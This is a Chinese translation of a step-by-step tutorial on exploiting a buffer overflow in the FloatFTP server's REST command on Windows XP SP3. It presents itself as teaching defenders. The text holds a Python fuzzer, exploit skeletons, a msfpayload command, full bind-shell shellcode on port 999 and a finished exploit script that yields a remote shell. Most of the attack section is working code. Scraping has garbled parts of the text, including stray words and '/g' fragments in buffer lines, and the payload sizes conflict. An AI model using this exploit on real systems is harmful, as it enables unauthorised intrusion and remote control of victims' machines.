理解緩衝區溢出漏洞的利用

在我第一次不得不處理緩衝區溢出漏洞時,我真是一竅不通啊!雖然我能夠創建網絡和配置防火牆、代理服務器,不費吹灰之力的入侵檢測系統,可是對於利用代碼來講,我仍是第一次接觸到。然而,正如處理任何複雜或是困難的概念同樣,最好的辦法就是把它分解成咱們瞭解的多個部分。html

在研究和學習教程後,一些概念和工具開始變得不那麼使人困惑了,而且逐漸可以明白一些細節了。而後,我開始在實驗室現有已掌握可重建的應用程序中,尋找簡單的緩存漏洞。只有在不斷地實驗,各類概念會一個個出現————整個進程,不管是獨立的部分仍是總體————都會一點點呈現出來。python

本教程將會爲防護者描述一些基本概念,包括一個攻擊者經歷漏洞開發過程須要的工做量和攻擊者將要面對的編寫惡意代碼攻擊特定漏洞的風險。shell

現在的攻擊者既有決心也有技術,而且知道對於負責計算機和網絡的人來講什麼實際操做是最關鍵的,防護者對敵人的動機和技術瞭解的越多,他就越容易制定有效的防護措施。windows

我要經歷幾個漏洞挖掘的階段才能找到一個有效漏洞,首先,咱們會fuzz咱們的目標應用程序,經過一個有趣的方式使它崩潰,經過Immunity debugger來監控崩潰的過程,在Windows系統的內存中找到最易受攻擊的溢出的shellcode。隨後,咱們將要創造一個漏洞來傳遞shellcode,從而攻擊遠程系統。緩存

須要的軟件/設置

  • 攻擊系統:Backtrack Linux(我用的R3)
  • 開發/受害系統:Windows xp sp3英文版
  • Immunity debugger:安裝在Windows xp系統上
  • FloatFTP:咱們要利用的應用程序

讓咱們正式開始吧!安全

Fuzzing

「Fuzzing」是發送無效或畸形的、過多的和隨機的數據到計算機程序試圖使系統崩潰或出現意想不到現象的測試手段。Fuzzing用於測試系統和程序的安全。服務器

雙擊float FTP來執行開始:網絡

ESXiSummary

經過運行cmd提示符來運行和監聽21端口和鍵入:架構

netstat -an | find "21"app

1a

啓動Immunity debugger,單擊「file」,再單擊「attach」,選擇FTP服務器過程,單擊「attach」。

attach

一旦應用程序在調試器上加載時,調試器會處於暫定狀態。按F9鍵或是Immunity debugger工具欄上的播放符號,讓應用程序運行。這個目標應用程序將會被調試器監控。

debug1

如今咱們將開始配置FTP fuzzer,首先,Fuzz應用程序來使系統崩潰,而後使用調試器來採集和分析崩潰數據。

下面的代碼是一個用python腳本語言編寫的簡單的FTP fuzzer,當執行時,fuzzer會發送標準的FTP命令「REST」,而且附加愈來愈多的「A」到每條指令。

#!/usr/bin/python

import socket

# Create an array of buffers, from 20 to 2000, with increments of 20.

buffer=["A"]

counter=20

while len(buffer) <= 30:

        buffer.append("A"*counter)

        counter=counter+100

# Define the FTP commands to be fuzzed

commands=["REST"]

# Run the fuzzing loop

for command in commands:

        for string in buffer:

                print "Fuzzing" + command + " with length:" +str(len(string))

                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

                connect=s.connect(('10.10.10.32',21)) # Target IP address

                s.recv(1024)

                s.send('USER ftp\r\n') # login user

                s.recv(1024)

                s.send('PASS ftp\r\n') # login password

                s.recv(1024)

                s.send(command + ' ' + string + '\r\n') # buffer

                s.recv(1024)

                s.send('QUIT\r\n')

                s.close()

咱們能夠從例子(http://www.exploit-db.com/exploits/17546/)中知道FTP服務器的REST命令就是一個易受攻擊的緩衝區溢出,FTP的REST功能將會成爲fuzzer的目標。

在攻擊系統的桌面上建立一個文件夾來存放fuzzing和漏洞代碼。使用「CD」到這個目錄,運行「nano fuzzer.py」。這會打開一個空白的nano文本編輯器,複製和粘貼上面的代碼到文件中。

fuzzer4

利用正在系統上運行的floatFTP的系統IP地址改變目標IP地址,按CTRL+O來保存文件,按CTRL+X來退出nano,接下來,經過鍵入來建立可執行文件。

chmod 755 fuzzer.py

執行「/fuzzer.py」,幾秒鐘後,你可以看到fuzzer中止了,而且顯示目標應用程序崩潰。

fuzzer

當你在xp系統上看到這個調試器,你會看到Immunity debugger已經捕獲了破壞的數據和暫停的應用程序。若是你看EIP(擴展指令指針)寄存器時,你就會看到在41次內fuzzer緩衝區覆蓋寄存器,fuzzer緩衝區也會涌入ESP(擴展堆棧指針)寄存器(00AEFC2C)。咱們的首要目的是爲了經過CPU執行的指令代碼再次控制EIP寄存器,把它設置成咱們所選擇的值。

fuzzer3

漏洞挖掘

用nano建立一個新的文件,輸入下面的代碼。這是挖掘的開始,將文件保存爲skeleton.py並執行(輸入chmod 755 skeleton.py

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 1000

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close()

在攻擊系統的Linux終端上運行skeleton.py。

如今,當你在Immunity debugger上檢查EIP寄存器時,你會看到緩衝區代碼0×41414141覆蓋了寄存器,並溢出到了ESP寄存器中。

1ef

下一步就是要肯定咱們要插入代碼的空間到底有多大,到如今爲止,咱們已經使用了一組固定的重複字符來肯定咱們的目標的內存地址。咱們如今將要使用metasploit的pattern_create和pattern_offset工具來幫助咱們發現究竟有多大的空間,咱們以什麼特定的內存地址爲目標。首先,用1000個字符來生成一個不重複的字符串。

使用cd命令到/opt/metasploit/msf3/tools並運行:

./pattern\_create.rb 1000 

建立一個1000字符的字符串,用它來取代之前緩衝架構漏洞中的1000個字符「A」。

pattern_create1000

註釋掉之前的緩衝區漏洞,像下面同樣建立一個新的緩衝線,在雙引號中爲新的緩衝區。

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = '\x41' * 1000

buffer = "Paste pattern_create buffer here"

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close()

在Immunity debugger下重啓FTP服務器(單擊「debug」,以後重啓或按CTRL+F2),啓動FTP服務器的架構漏洞。按照先前的作法必定崩潰了,可是如今EIP和ESP緩衝區中有metasploit建立的格式,把這些值複製下來,咱們將用它們來計算EIP和ESP寄存器的字節中的差別。

在本例,EIP和ESP的值爲:

EIP: 69413269 
ESP: 00AEFC2C (69413669)

以後,運行:

./pattern\_offset.rb 69413269

接着

./pattern\_offset.rb 69413669

patternoffset

輸出告訴咱們247個字節之後的EIP寄存器開始被緩衝區覆蓋,這就意味着EIP中248—251字節是咱們想要的目標。

CPU經過EIP寄存器中的值知道下一個要運行的指令,在內存地址中運行這些當前的指令,在EIP的內存位置中使用JMP ESP指令使CPU來執行指令和跳到ESP寄存器中執行駐留在該地址的內存中的指令。咱們的目的就是在EIP中使用JMP ESP指令,這樣咱們就能控制執行命令並把咱們的代碼轉變到ESP寄存器中。

兩個寄存器之間有12個字節,因而咱們用8個字節來填充咱們的緩衝區,縮小間距和鏈接到ESP寄存器。

咱們使用保持1000字節邊界的框架漏洞來調整緩衝區:

buffer = "/g\x41"\*247 + "\\x42\\x42\\x42\\x42" + "\\x43"\*8 +
"/g\x44"\*741 z

例如: [buffer]\<\>[eip data]\<\>[padding]\<\>[shellcode placeholder]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = x41 * 1000

#buffer = "pattern_create buffer"

buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741 

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close()

在Immunity debugger中重啓FTP服務器,按播放鍵取消暫停的應用程序。

再次運行挖掘,而後在Immunity debugger器中右擊ESP寄存器的窗格選擇「follow in dump」。若是一切排列正確的話,EIP寄存器中將會存儲42424242和DS(x44)將會在ESP寄存器內存地址前面從EIP到ESP的空間中填充8 CS。

1k

ESPds

很棒。在Immunity debugger器中,複製DS的開始到結束的ESP的內存地址。而後打開windows計算器,轉換到16進制的模式,把數值變成10進制。

這裏是這樣的:

開始:00AEFC2C = 11467820

結束:00AEFF0C = 11468556

用結束值減去開始值11468556 - 11467820 = 736,咱們就知道有736個字節來儲存代碼。

如今,咱們有了目標內存地址和指令,咱們須要一種方法得到從EIP寄存器到ESP寄存器的指令,爲了作到這一點,咱們能夠在windows操做系統的DLL中使用現有的JMP ESP指令。

單擊Immunity debugger器的工具欄上的「e」,在存在的windows dll中查找JMP ESP指令,以後雙擊一個DLL,右鍵單擊「搜索」,選擇「command」,以後鍵入「JMP ESP」。

咱們在windows系統文件kernel32.dll系統文件中發現了咱們要找的指令,而後記下JMP ESP的內存地址。在本例中,是7C86467B,注意,若是你正在使用任何其餘操做系統,而不是32位的windows xp sp3英文版,這個指令駐留在不一樣的位置。你要是用的是其餘系統,在另外的DLL中查找JMP ESP指令,在剩下的教程中改變內存地址。

1L

咱們用一個新的緩衝區來更新咱們的骨架漏洞,註釋掉最後的一個緩衝區聲明,用下面的代碼替代它:

buffer = "/g\x41"\*247 + "\\x7B\\x46\\x86\\x7C" + "\\x42"\*8 +
"/g\xCC"\*741

由於小尾數CPU架構,JMP ESP的地址必須在緩衝區中向後格式化,因此7C86467B變成了\x7B\x46\x86\x7C。咱們也要增長8Bs做爲填充("\x43"*8)和改變最後一個值爲\xCC*741 (742 CC's),這將會做爲咱們的代碼的佔位。一切正常,CCs應該在咱們的目標ESP內存地址的開始,00AEFC2C,咱們應該在EIP寄存器中找到咱們的JMP ESP指令(7C86467B)。

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = x41 * 1000

#buffer = "pattern_create buffer"

#buffer = "\x41"*247 + "\x44\x44\x44\x44" + "\x43"*8 + "\x44"*741 

# Windows XP SP3 kernel32.dll  JMP ESP

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close()

在Immunity debugger器中單擊「debug」以後「restar」來重啓FTPsever.exe,不要忘記按F9或是在調試器中單擊播放按鈕來取消暫停的應用程序。

在Immunity debugger器工具欄單擊箭頭指向的三個點,進入JMP ESP內存所在的位置:7C86467B(在這個例子中),單擊「OK」,而後按下F2在調試中設置斷點。當訪問JMP ESP地址時,調試將會暫定,讓咱們來查看寄存器和驗證咱們的目標EIP和ESP的正確性。

1m

再次運行漏洞,並在調試器中查看輸出,這看起來應該和下面的相似:

1n

EIP中包含JMP ESP的目標地址(7C86467B)和咱們的CCs在ESP(00AEFC2C)開始。如今,咱們控制執行命令,剩下的就是用shellcode替換掉佔位的CCs。

shellcode和漏洞

咱們將使用metasploit的msfpayload來建立payload。有一點要注意:由於咱們傳遞的都是字符串,咱們必需要遵照字符限制的FTP協議。這就意味着沒有空,返回,換行,或是@符號,他們用16進制的表示爲\x00, \x0d, \x0a, 0×40。"\x40\xff\\x3d\x20"能夠阻止shellcode執行。

下面是用msfpayload命令建立的shellcode,當在目標系統中被執行時,TCP999端口將會被打開。Msfencode語句確保在shellcode中沒有壞的字符能阻止上面的執行。

msfpayload windowsgshell\_bind\_tcp EXITFUNC=seh LPORT=999 R |
msfencode -b '/g\x40\\x0A\\x00\\x0D\\xff\\x0d\\x3d\\x20'

這個結果是一個386字節的payload:

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

buf = 

"\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9" +

"\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9" +

"\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5" +

"\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08" +

"\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xf1\xce\xd5\x50\xf0" +

"\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54\xaa\x11" +

"\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc" +

"\x39\xce\xa4\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a" +

"\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93" +

"\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c" +

"\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc" +

"\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xe4" +

"\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c" +

"\xd4\xef\x15\x7a\x23\x0f\x0c\x3a\xbb\xee\xae\x3b\x95\x34" +

"\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08" +

"\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88" +

"\x0c\xf1\x08\x2f\xb1\xe6\x84\xc9\xdf\xf8\xc0\x42\x77\x3b" +

"\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37" +

"\x2e\x71\x01\xd0\xa4\x99\x96\xc1\xbb\xb7\xbe\x88\x84\x50" +

"\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63" +

"\xe8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1f\x26\x72" +

"\xc4\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5f" +

"\x5d\x58\x86\x11\x37\x32\x75\xf8\xdf\xc3\xb5\x3b\x99\xcb" +

"\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\x1a\x1c\x03\xae\xba\xe3" +

"\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08" +

"\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1f" +

"\x0e\x3a\x93\x35"

註釋掉前面緩衝區聲明和添加新的修改聲明:

buffer = "\\x41"\*247 + "\\x7B\\x46\\x86\\x7C" + "\\x42"\*8 +
shellcode + "\\xCC"\*373

在處理shellcode運行的問題,雙重檢查全部參數包括「壞字符」以後,我就決定添加NOP指令到緩衝區在shellcode以前。在計算機的CPU中,一個NOP slide是一系列的NOP(無操做)指令(操做碼0×90),這就意味着「滑動」CPU的指令執行流程到它的最終目標。當一切在一個漏洞中正常排列,NOP指令是有利的,可是shellcode執行失敗。

我又一次修改緩衝區在shellcode前添加了16個NOP:

buffer = "/g\x41"\*247 + "\\x7B\\x46\\x86\\x7C" + "\\x42"\*8 +
"/g\x90"\*16 + shellcode + "\\xCC"\*357

例如: [buffer]\<>[EIP - JMP ESP]\<>[EIP to ESP padding]\<>[NOPs]\<>[shellcode]\<>[Padding]

最終完整的漏洞:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = '\x41' * 1000

#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

#buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741

## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b '\x40\x0A\x00\x0D' 368 bytes

shellcode = ("\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9"

"\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9"

"\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5"

"\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08"

"\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xf1\xce\xd5\x50\xf0"

"\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54\xaa\x11"

"\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc"

"\x39\xce\xa4\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a"

"\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93"

"\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c"

"\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc"

"\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xe4"

"\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c"

"\xd4\xef\x15\x7a\x23\x0f\x0c\x3a\xbb\xee\xae\x3b\x95\x34"

"\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08"

"\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88"

"\x0c\xf1\x08\x2f\xb1\xe6\x84\xc9\xdf\xf8\xc0\x42\x77\x3b"

"\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37"

"\x2e\x71\x01\xd0\xa4\x99\x96\xc1\xbb\xb7\xbe\x88\x84\x50"

"\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63"

"\xe8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1f\x26\x72"

"\xc4\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5f"

"\x5d\x58\x86\x11\x37\x32\x75\xf8\xdf\xc3\xb5\x3b\x99\xcb"

"\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\x1a\x1c\x03\xae\xba\xe3"

"\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08"

"\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1f"

"\x0e\x3a\x93\x35")

## Windows XP SP3 kernel32.dll 7C86467B JMP ESP

#buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close()

關閉XP系統上的調試器,從新啓動FloatFTP。在攻擊系統上啓動漏洞攻擊,而後遠程鏈接到FTP服務器的999端口,一塊兒正常,你將會以一個管理員的身份(或是任何一個打開FloatFTP進程的)收到一個shell。

sploit2

正如你看到的,如今這個系統已經被滲透,而且受攻擊者控制。

原文 Understanding Buffer Overflow Exploits
翻譯 趙陽

相關文章
相關標籤/搜索